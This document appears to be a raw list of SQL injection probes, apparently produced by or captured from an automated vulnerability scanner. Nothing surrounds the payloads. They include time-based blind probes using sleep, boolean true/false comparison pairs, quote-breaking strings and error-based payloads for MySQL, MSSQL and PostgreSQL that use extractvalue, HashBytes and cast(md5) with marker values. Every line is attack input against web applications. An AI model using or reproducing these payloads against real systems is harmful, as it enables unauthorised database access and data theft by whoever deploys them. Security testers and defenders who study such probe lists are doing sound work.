(select*from(select+sleep(2)union/**/select+1)a)

(select*from(select+sleep(0)union/**/select+1)a)

123456"and"g"="g

123456"and"l"="l

123456'and'x'='a

123456'and'k'='k

123456'"\(

123456/**/and+4=8

123456鎈'"\(

123456/**/and+4=4

123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1154359063')))>'0

123456

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1504312430')))

123456

123456/**/and/**/cast(md5('1359247461')as/**/int)>0

123456

123456'and(select'1'from/**/cast(md5(1716278537)as/**/int))>'0

123456

extractvalue(1,concat(char(126),md5(1122526059)))

123456